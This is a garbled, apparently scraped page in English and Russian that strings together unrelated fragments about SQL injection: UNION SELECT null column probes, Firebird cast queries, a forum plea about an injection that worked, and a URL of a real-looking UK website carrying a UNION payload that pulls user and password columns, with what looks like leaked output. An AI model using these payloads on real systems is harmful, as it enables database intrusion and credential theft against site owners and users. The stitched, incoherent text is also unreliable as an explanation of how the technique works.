select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
9. Оператор UNION С оператором UNION можно делать запросы к пересечению таблиц.
999999.9 union all select 0x31303235343830303536-- на YouTube: Поиск реализован с помощью YandexXML и Google Custom Search API.
Using UNION SELECT Error Based. This method works if error showing is enabled.
2f**%2fcAsT(0x393133353134353632362e39+as+char)... что даёт злоумышленнику возможность собрать интересующую его информацию и ею далее воспользоваться. Так как код сайта ну ОЧЕНЬ древний, приходится лечить примерно вот такими вставками с регекспом, в который...
P5.1.73-cll3!Padmin_ckg=~= http://www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat(0x3d7e3d,ifnull(user,char(32)),0x332150,ifnull(pass,char...
SELECT * FROM `mydata`.`mytable` WHERE CONCAT(<list of columns>) IS NOT NULL. All we are missing now is the list of nullable columns, comma-separated. We're going to use the GROUP_CONCAT function to produce the final statement, which we will execute like this
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null